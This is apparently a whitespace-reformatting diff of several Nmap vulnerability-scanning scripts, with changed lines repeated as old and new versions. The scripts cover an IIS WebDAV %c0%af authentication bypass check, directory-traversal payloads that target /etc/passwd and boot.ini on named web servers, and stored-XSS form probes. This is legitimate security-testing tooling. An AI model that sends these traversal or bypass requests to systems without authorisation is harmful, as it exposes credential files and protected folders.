VULNERABLE = 1,
NOT_VULNERABLE = 2,
UNKNOWN = 3
VULNERABLE = 1,
NOT_VULNERABLE = 2,
UNKNOWN = 3
}
---Sends a PROPFIND request to the given host, and for the given folder. Returns a table reprenting a response.
local function get_response(host, port, folder)
local webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/><getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/><checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'
local webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/><getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/><checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'
local options = {
header = {
Host = host.ip,
Connection = "close",
["User-Agent"] = "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)",
["Content-Type"] = "application/xml",
},
content = webdav_req
}
local options = {
header = {
Host = host.ip,
Connection = "close",
["User-Agent"] = "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)",
["Content-Type"] = "application/xml",
},
content = webdav_req
}
return http.generic_request(host, port, "PROPFIND", folder, options)
return http.generic_request(host, port, "PROPFIND", folder, options)
end
---Check a single folder on a single host for the vulnerability. Returns one of the enum_results codes.
local function go_single(host, port, folder)
local response
local response
response = get_response(host, port, folder)
if(response.status == 401) then
local vuln_response
local check_folder
response = get_response(host, port, folder)
if(response.status == 401) then
local vuln_response
local check_folder
stdnse.print_debug(1, "http-iis-webdav-vuln: Found protected folder (401): %s", folder)
stdnse.print_debug(1, "http-iis-webdav-vuln: Found protected folder (401): %s", folder)
-- check for IIS 6.0 and 5.1
-- doesn't appear to work on 5.0
-- /secret/ becomes /s%c0%afecret/
check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
vuln_response = get_response(host, port, check_folder)
if(vuln_response.status == 207) then
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder seems vulnerable: %s", folder)
return enum_results.VULNERABLE
else
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder does not seem vulnerable: %s", folder)
return enum_results.NOT_VULNERABLE
end
else
if(response['status-line'] ~= nil) then
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status-line'], folder)
elseif(response['status'] ~= nil) then
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status'], folder)
else
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder: %s",folder)
end
return enum_results.UNKNOWN
end
-- check for IIS 6.0 and 5.1
-- doesn't appear to work on 5.0
-- /secret/ becomes /s%c0%afecret/
check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
vuln_response = get_response(host, port, check_folder)
if(vuln_response.status == 207) then
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder seems vulnerable: %s", folder)
return enum_results.VULNERABLE
else
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder does not seem vulnerable: %s", folder)
return enum_results.NOT_VULNERABLE
end
else
if(response['status-line'] ~= nil) then
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status-line'], folder)
elseif(response['status'] ~= nil) then
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status'], folder)
else
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder: %s",folder)
end
return enum_results.UNKNOWN
end
end
---Checks a list of possible folders for the vulnerability. Returns a list of vulnerable folders.
local function go(host, port)
local status, folder
local results = {}
local is_vulnerable = true
local status, folder
local results = {}
local is_vulnerable = true
local folder_file
local folder_file
local farg = nmap.registry.args.folderdb
folder_file = farg and (nmap.fetchfile(farg) or farg) or nmap.fetchfile('nselib/data/http-folders.txt')
if(folder_file == nil) then
return false, "Couldn't find http-folders.txt (should be in nselib/data)"
end
if(folder_file == nil) then
return false, "Couldn't find http-folders.txt (should be in nselib/data)"
end
local file = io.open(folder_file, "r")
if not file then
return false, ("Couldn't find or open %s"):format(folder_file)
end
local file = io.open(folder_file, "r")
if not file then
return false, ("Couldn't find or open %s"):format(folder_file)
end
while true do
local result
local line = file:read()
if not line then
break
end
while true do
local result
local line = file:read()
if not line then
break
end
if(nmap.registry.args.basefolder ~= nil) then
line = "/" .. nmap.registry.args.basefolder .. "/" .. line
else
line = "/" .. line
end
if(nmap.registry.args.basefolder ~= nil) then
line = "/" .. nmap.registry.args.basefolder .. "/" .. line
else
line = "/" .. line
end
result = go_single(host, port, line)
if(result == enum_results.VULNERABLE) then
results[#results + 1] = line
elseif(result == enum_results.NOT_VULNERABLE) then
is_vulnerable = false
else
end
end
result = go_single(host, port, line)
if(result == enum_results.VULNERABLE) then
results[#results + 1] = line
elseif(result == enum_results.NOT_VULNERABLE) then
is_vulnerable = false
else
end
end
file:close()
file:close()
return true, results, is_vulnerable
return true, results, is_vulnerable
end
action = function(host, port)
-- Start by checking if '/' is protected -- if it is, we can't do the tests
local result = go_single(host, port, "/")
if(result == enum_results.NOT_VULNERABLE) then
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is password protected, aborting.")
return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
end
-- Start by checking if '/' is protected -- if it is, we can't do the tests
local result = go_single(host, port, "/")
if(result == enum_results.NOT_VULNERABLE) then
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is password protected, aborting.")
return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
end
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is not password protected, continuing...")
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is not password protected, continuing...")
local response = get_response(host, port, "/")
if(response.status == 501) then
-- WebDAV is disabled
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is DISABLED (PROPFIND failed).")
return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
else
if(response.status == 207) then
-- PROPFIND works, WebDAV is enabled
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is ENABLED (PROPFIND was successful).")
else
-- probably not running IIS 5.0/5.1/6.0
if(response['status-line'] ~= nil) then
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status-line'])
elseif(response['status'] ~= nil) then
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status'])
else
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed.")
end
return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil
end
end
local response = get_response(host, port, "/")
if(response.status == 501) then
-- WebDAV is disabled
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is DISABLED (PROPFIND failed).")
return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
else
if(response.status == 207) then
-- PROPFIND works, WebDAV is enabled
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is ENABLED (PROPFIND was successful).")
else
-- probably not running IIS 5.0/5.1/6.0
if(response['status-line'] ~= nil) then
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status-line'])
elseif(response['status'] ~= nil) then
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status'])
else
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed.")
end
return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil
end
end
if(nmap.registry.args.webdavfolder ~= nil) then
local folder = nmap.registry.args.webdavfolder
local result = go_single(host, port, "/" .. folder)
if(nmap.registry.args.webdavfolder ~= nil) then
local folder = nmap.registry.args.webdavfolder
local result = go_single(host, port, "/" .. folder)
if(result == enum_results.VULNERABLE) then
return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
elseif(result == enum_results.NOT_VULNERABLE) then
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
else
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
end
if(result == enum_results.VULNERABLE) then
return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
elseif(result == enum_results.NOT_VULNERABLE) then
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
else
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
end
else
local status, results, is_vulnerable = go(host, port)
else
local status, results, is_vulnerable = go(host, port)
if(status == false) then
return nmap.verbosity() > 0 and "ERROR: " .. results or nil
else
if(#results == 0) then
if(is_vulnerable == false) then
return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
else
return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>" or nil
end
else
return "WebDAV is ENABLED. Vulnerable folders discovered: " .. stdnse.strjoin(", ", results)
end
end
end
if(status == false) then
return nmap.verbosity() > 0 and "ERROR: " .. results or nil
else
if(#results == 0) then
if(is_vulnerable == false) then
return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
else
return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>" or nil
end
else
return "WebDAV is ENABLED. Vulnerable folders discovered: " .. stdnse.strjoin(", ", results)
end
end
end
end

View File

@@ -72,19 +72,19 @@ categories = {"intrusive", "vuln"}
--@param response The HTTP response from the server.
--@return The body of the HTTP response.
local validate = function(response)
if not response.status then
return nil
end
if not response.status then
return nil
end
if response.status ~= 200 then
return nil
end
if response.status ~= 200 then
return nil
end
if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("%[boot loader%]") then
return response.body
end
if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("%[boot loader%]") then
return response.body
end
return nil
return nil
end
--- Transforms a string with ".", "/" and "\" converted to their URL-formatted
@@ -92,19 +92,19 @@ end
--@param str String to hexify.
--@return Transformed string.
local hexify = function(str)
local ret
ret = str:gsub("%.", "%%2E")
ret = ret:gsub("/", "%%2F")
ret = ret:gsub("\\", "%%5C")
return ret
local ret
ret = str:gsub("%.", "%%2E")
ret = ret:gsub("/", "%%2F")
ret = ret:gsub("\\", "%%5C")
return ret
end
--- Truncates the <code>passwd</code> or <code>boot.ini</code> file.
--@param passwd <code>passwd</code> or <code>boot.ini</code>file.
--@return Truncated passwd file and truncated length.
local truncatePasswd = function(passwd)
local len = 250
return passwd:sub(1, len), len
local len = 250
return passwd:sub(1, len), len
end
--- Formats output.
@@ -112,83 +112,83 @@ end
--@param dir Formatted request which elicited the good reponse.
--@return String description for output
local output = function(passwd, dir)
local trunc, len = truncatePasswd(passwd)
local out = ""
out = out .. "Directory traversal found.\nPayload: \"" .. dir .. "\"\n"
out = out .. "Printing first " .. len .. " bytes:\n"
out = out .. trunc
return out
local trunc, len = truncatePasswd(passwd)
local out = ""
out = out .. "Directory traversal found.\nPayload: \"" .. dir .. "\"\n"
out = out .. "Printing first " .. len .. " bytes:\n"
out = out .. trunc
return out
end
portrule = shortport.http
action = function(host, port)
local dirs = {
hexify("//etc/passwd"),
hexify(string.rep("../", 10) .. "etc/passwd"),
hexify(string.rep("../", 10) .. "boot.ini"),
hexify(string.rep("..\\", 10) .. "boot.ini"),
hexify("." .. string.rep("../", 10) .. "etc/passwd"),
hexify(string.rep("..\\/", 10) .. "etc\\/passwd"),
hexify(string.rep("..\\", 10) .. "etc\\passwd"),
local dirs = {
hexify("//etc/passwd"),
hexify(string.rep("../", 10) .. "etc/passwd"),
hexify(string.rep("../", 10) .. "boot.ini"),
hexify(string.rep("..\\", 10) .. "boot.ini"),
hexify("." .. string.rep("../", 10) .. "etc/passwd"),
hexify(string.rep("..\\/", 10) .. "etc\\/passwd"),
hexify(string.rep("..\\", 10) .. "etc\\passwd"),
-- These don't get hexified because they are targeted at
-- specific known vulnerabilities.
'..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
--miniwebsvr
'%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini',
'%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini',
--Acritum Femitter Server
'\\\\..%2f..%2f..%2f..%2fboot.ini% ../',
--zervit Web Server and several others
'index.html?../../../../../boot.ini',
'index.html?..\\..\\..\\..\\..\\boot.ini',
--Mongoose Web Server
'///..%2f..%2f..%2f..%2fboot.ini',
'/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini',
'/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini',
-- Yaws 1.89
'/..\\/..\\/..\\/boot.ini',
'/..\\/\\..\\/\\..\\/\\boot.ini',
'/\\../\\../\\../boot.ini',
'////..\\..\\..\\boot.ini',
--MultiThreaded HTTP Server v1.1
'/..\\..\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
--uHttp Server
'/../../../../../../../etc/passwd',
--Java Mini Web Server
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini',
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%2fpasswd',
}
-- These don't get hexified because they are targeted at
-- specific known vulnerabilities.
'..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
--miniwebsvr
'%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini',
'%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini',
--Acritum Femitter Server
'\\\\..%2f..%2f..%2f..%2fboot.ini% ../',
--zervit Web Server and several others
'index.html?../../../../../boot.ini',
'index.html?..\\..\\..\\..\\..\\boot.ini',
--Mongoose Web Server
'///..%2f..%2f..%2f..%2fboot.ini',
'/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini',
'/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini',
-- Yaws 1.89
'/..\\/..\\/..\\/boot.ini',
'/..\\/\\..\\/\\..\\/\\boot.ini',
'/\\../\\../\\../boot.ini',
'////..\\..\\..\\boot.ini',
--MultiThreaded HTTP Server v1.1
'/..\\..\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
--uHttp Server
'/../../../../../../../etc/passwd',
--Java Mini Web Server
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini',
'/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%2fpasswd',
}
for _, dir in ipairs(dirs) do
local response = http.get(host, port, dir)
for _, dir in ipairs(dirs) do
local response = http.get(host, port, dir)
if validate(response) then
return output(response.body, dir)
end
end
if validate(response) then
return output(response.body, dir)
end
end
local root = stdnse.get_script_args("http-passwd.root") or "/"
local root = stdnse.get_script_args("http-passwd.root") or "/"
-- Check for something that looks like a query referring to a file name, like
-- "index.php?page=next.php". Replace the query value with each of the test
-- vectors. Add an encoded null byte at the end to bypass some checks; see
-- http://insecure.org/news/P55-01.txt.
local response = http.get(host, port, root)
if response.body then
local page_var = response.body:match ("[%?%&](%a-)=%a-%.%a")
if page_var then
local query_base = root .. "?" .. page_var .. "="
stdnse.print_debug(1, "%s: testing with query %s.", SCRIPT_NAME, query_base .. "...")
-- Check for something that looks like a query referring to a file name, like
-- "index.php?page=next.php". Replace the query value with each of the test
-- vectors. Add an encoded null byte at the end to bypass some checks; see
-- http://insecure.org/news/P55-01.txt.
local response = http.get(host, port, root)
if response.body then
local page_var = response.body:match ("[%?%&](%a-)=%a-%.%a")
if page_var then
local query_base = root .. "?" .. page_var .. "="
stdnse.print_debug(1, "%s: testing with query %s.", SCRIPT_NAME, query_base .. "...")
for _, dir in ipairs(dirs) do
local response = http.get(host, port, query_base .. dir .. "%00")
for _, dir in ipairs(dirs) do
local response = http.get(host, port, query_base .. dir .. "%00")
if validate(response) then
return output(response.body, dir)
end
end
end
end
if validate(response) then
return output(response.body, dir)
end
end
end
end
end

View File

@@ -173,27 +173,27 @@ function action(host, port)
check_response = function(body) return string.find(body, pattern_to_search) end
-- create a new crawler instance
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} )
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} )
if ( not(crawler) ) then
return
end
if ( not(crawler) ) then
return
end
local return_table = {}
local return_table = {}
while(true) do
local status, r = crawler:crawl()
while(true) do
local status, r = crawler:crawl()
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
-- first we try rfi on forms
if r.response and r.response.body and r.response.status==200 then
-- first we try rfi on forms
if r.response and r.response.body and r.response.status==200 then
local all_forms = http.grab_forms(r.response.body)
for _,form_plain in ipairs(all_forms) do
local form = http.parse_form(form_plain)
@@ -206,7 +206,7 @@ function action(host, port)
end
end
end --for
end --if
end --if
-- now try inclusion by parameters
local injectable = {}
@@ -232,7 +232,7 @@ function action(host, port)
end
end
end
end
return stdnse.format_output(true, return_table)
end
return stdnse.format_output(true, return_table)
end

View File

@@ -108,8 +108,8 @@ local function build_injection_vector(urls)
urlstr = url.build(utab)
table.insert(all, urlstr)
qtab[k] = old_qtab
utab.query = url.build_query(qtab)
qtab[k] = old_qtab
utab.query = url.build_query(qtab)
end
end
end
@@ -242,7 +242,7 @@ action = function(host, port)
end
-- first we try sqli on forms
if r.response and r.response.body and r.response.status==200 then
if r.response and r.response.body and r.response.status==200 then
local all_forms = http.grab_forms(r.response.body)
for _,form_plain in ipairs(all_forms) do
local form = http.parse_form(form_plain)
@@ -255,7 +255,7 @@ action = function(host, port)
end
end
end --for
end --if
end --if
local links = {}
if r.response.status and r.response.body then
links = httpspider.LinkExtractor:new(r.url, r.response.body, crawler.options):getLinks()

View File

@@ -76,207 +76,207 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
-- Note, that more payloads will slow down your scan.
payloads = {
-- Basic vectors. Each one is an indication of potential XSS vulnerability.
{ vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." },
{ vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." },
{ vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." },
}
-- Basic vectors. Each one is an indication of potential XSS vulnerability.
{ vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." },
{ vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." },
{ vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." },
}
-- Create customized requests for all of our payloads.
local makeRequests = function(host, port, submission, fields, fieldvalues)
local postdata = {}
for _, p in ipairs(payloads) do
for __, field in ipairs(fields) do
if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
local postdata = {}
for _, p in ipairs(payloads) do
for __, field in ipairs(fields) do
if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
local value = fieldvalues[field["name"]]
if value == nil then
value = p.vector
end
postdata[field["name"]] = value
end
local value = fieldvalues[field["name"]]
if value == nil then
value = p.vector
end
postdata[field["name"]] = value
end
end
stdnse.print_debug(2, "Making a POST request to " .. submission .. ": ")
for i, content in pairs(postdata) do
stdnse.print_debug(2, i .. ": " .. content)
stdnse.print_debug(2, i .. ": " .. content)
end
local response = http.post(host, port, submission, { no_cache = true }, nil, postdata)
end
end
end
local checkPayload = function(body, p)
if (body:match(p)) then
return true
end
if (body:match(p)) then
return true
end
end
-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
local checkRequests = function(body, target)
local output = {}
for _, p in ipairs(payloads) do
if checkPayload(body, p.vector) then
local report = " Payload: " .. p.vector .. "\n\t Uploaded on: " .. target
if p.description then
report = report .. "\n\t Description: " .. p.description
end
table.insert(output, report)
end
local output = {}
for _, p in ipairs(payloads) do
if checkPayload(body, p.vector) then
local report = " Payload: " .. p.vector .. "\n\t Uploaded on: " .. target
if p.description then
report = report .. "\n\t Description: " .. p.description
end
table.insert(output, report)
end
return output
end
return output
end
local readFromFile = function(filename)
local database = { }
for l in io.lines(filename) do
table.insert(payloads, { vector = l })
end
local database = { }
for l in io.lines(filename) do
table.insert(payloads, { vector = l })
end
end
action = function(host, port)
local formpaths = stdnse.get_script_args("http-stored-xss.formpaths")
local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths")
local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {}
local dbfile = stdnse.get_script_args("http-stored-xss.dbfile")
local formpaths = stdnse.get_script_args("http-stored-xss.formpaths")
local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths")
local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {}
local dbfile = stdnse.get_script_args("http-stored-xss.dbfile")
if dbfile then
readFromFile(dbfile)
end
if dbfile then
readFromFile(dbfile)
end
local returntable = {}
local result
local returntable = {}
local result
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, no_cache = true } )
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, no_cache = true } )
if (not(crawler)) then
return
end
if (not(crawler)) then
return
end
crawler:set_timeout(10000)
crawler:set_timeout(10000)
local index, k, target, response
local index, k, target, response
-- Phase 1. Crawls through the website and POSTs malicious payloads.
while (true) do
-- Phase 1. Crawls through the website and POSTs malicious payloads.
while (true) do
if formpaths then
if formpaths then
k, target = next(formpaths, index)
if (k == nil) then
break
end
response = http.get(host, port, target, { no_cache = true })
target = host.name .. target
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
if form then
local action_absolute = string.find(form["action"], "https*://")
-- Determine the path where the form needs to be submitted.
local submission
if action_absolute then
submission = form["action"]
else
local path_cropped = string.match(target, "(.*/).*")
path_cropped = path_cropped and path_cropped or ""
submission = path_cropped..form["action"]
end
makeRequests(host, port, submission, form["fields"], fieldvalues)
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
local index
-- Phase 2. Crawls through the website and searches for the special crafted strings that were POSTed before.
while true do
if uploadspaths then
k, target = next(uploadspaths, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end
if response.body then
result = checkRequests(response.body, target)
if next(result) then
table.insert(returntable, result)
end
end
if (index) then
index = index + 1
else
index = 1
end
end
if next(returntable) then
table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ")
return returntable
k, target = next(formpaths, index)
if (k == nil) then
break
end
response = http.get(host, port, target, { no_cache = true })
target = host.name .. target
else
return "Couldn't find any stored XSS vulnerabilities."
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
if form then
local action_absolute = string.find(form["action"], "https*://")
-- Determine the path where the form needs to be submitted.
local submission
if action_absolute then
submission = form["action"]
else
local path_cropped = string.match(target, "(.*/).*")
path_cropped = path_cropped and path_cropped or ""
submission = path_cropped..form["action"]
end
makeRequests(host, port, submission, form["fields"], fieldvalues)
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
local index
-- Phase 2. Crawls through the website and searches for the special crafted strings that were POSTed before.
while true do
if uploadspaths then
k, target = next(uploadspaths, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end
if response.body then
result = checkRequests(response.body, target)
if next(result) then
table.insert(returntable, result)
end
end
if (index) then
index = index + 1
else
index = 1
end
end
if next(returntable) then
table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ")
return returntable
else
return "Couldn't find any stored XSS vulnerabilities."
end
end

View File

@@ -102,154 +102,154 @@ local arg_checksum = stdnse.get_script_args(SCRIPT_NAME .. ".checksum")
prerule = function() return true end
local function readFile(filename)
local f = io.open(filename, "r")
if ( not(f) ) then
return false, ("Failed to open file: %s"):format(filename)
end
local f = io.open(filename, "r")
if ( not(f) ) then
return false, ("Failed to open file: %s"):format(filename)
end
local str = f:read("*all")
if ( not(str) ) then
f:close()
return false, "Failed to read file contents"
end
f:close()
return true, str
local str = f:read("*all")
if ( not(str) ) then
f:close()
return false, "Failed to read file contents"
end
f:close()
return true, str
end
local function requestFileScan(filename)
local status, str = readFile(filename)
if ( not(status) ) then
return false, str
end
local status, str = readFile(filename)
if ( not(status) ) then
return false, str
end
local shortfile = filename:match("^.*[\\/](.*)$")
local boundary = "----------------------------nmapboundary"
local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) }
local postdata = ("--%s\r\n"):format(boundary)
postdata = postdata .. "Content-Disposition: form-data; name=\"apikey\"\r\n\r\n"
postdata = postdata .. arg_apiKey .. "\r\n"
postdata = postdata .. ("--%s\r\n" ..
"Content-Disposition: form-data; name=\"file\"; filename=\"%s\"\r\n" ..
"Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, shortfile, str, boundary)
local shortfile = filename:match("^.*[\\/](.*)$")
local boundary = "----------------------------nmapboundary"
local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) }
local postdata = ("--%s\r\n"):format(boundary)
postdata = postdata .. "Content-Disposition: form-data; name=\"apikey\"\r\n\r\n"
postdata = postdata .. arg_apiKey .. "\r\n"
postdata = postdata .. ("--%s\r\n" ..
"Content-Disposition: form-data; name=\"file\"; filename=\"%s\"\r\n" ..
"Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, shortfile, str, boundary)
local host = "www.virustotal.com"
local port = { number = 80, protocol = "tcp" }
local path = "/vtapi/v2/file/scan"
local host = "www.virustotal.com"
local port = { number = 80, protocol = "tcp" }
local path = "/vtapi/v2/file/scan"
local response = http.post( host, port, path, { header = header }, nil, postdata )
if ( not(response) or response.status ~= 200 ) then
return false, "Failed to request file scan"
end
local response = http.post( host, port, path, { header = header }, nil, postdata )
if ( not(response) or response.status ~= 200 ) then
return false, "Failed to request file scan"
end
local status, json_data = json.parse(response.body)
if ( not(status) ) then
return false, "Failed to parse JSON response"
end
local status, json_data = json.parse(response.body)
if ( not(status) ) then
return false, "Failed to parse JSON response"
end
return true, json_data
return true, json_data
end
local function getFileScanReport(resource)
local host = "www.virustotal.com"
local port = { number = 80, protocol = "tcp" }
local path = "/vtapi/v2/file/report"
local host = "www.virustotal.com"
local port = { number = 80, protocol = "tcp" }
local path = "/vtapi/v2/file/report"
local response = http.post(host, port, path, nil, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource })
if ( not(response) or response.status ~= 200 ) then
return false, "Failed to retrieve scan report"
end
local response = http.post(host, port, path, nil, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource })
if ( not(response) or response.status ~= 200 ) then
return false, "Failed to retrieve scan report"
end
local status, json_data = json.parse(response.body)
if ( not(status) ) then
return false, "Failed to parse JSON response"
end
local status, json_data = json.parse(response.body)
if ( not(status) ) then
return false, "Failed to parse JSON response"
end
return true, json_data
return true, json_data
end
local function calcSHA256(filename)
local status, str = readFile(filename)
if ( not(status) ) then
return false, str
end
return true, stdnse.tohex(openssl.digest("sha256", str))
local status, str = readFile(filename)
if ( not(status) ) then
return false, str
end
return true, stdnse.tohex(openssl.digest("sha256", str))
end
local function parseScanReport(report)
local result = {}
local result = {}
table.insert(result, ("Permalink: %s"):format(report.permalink))
table.insert(result, ("Scan date: %s"):format(report.scan_date))
table.insert(result, ("Positives: %s"):format(report.positives))
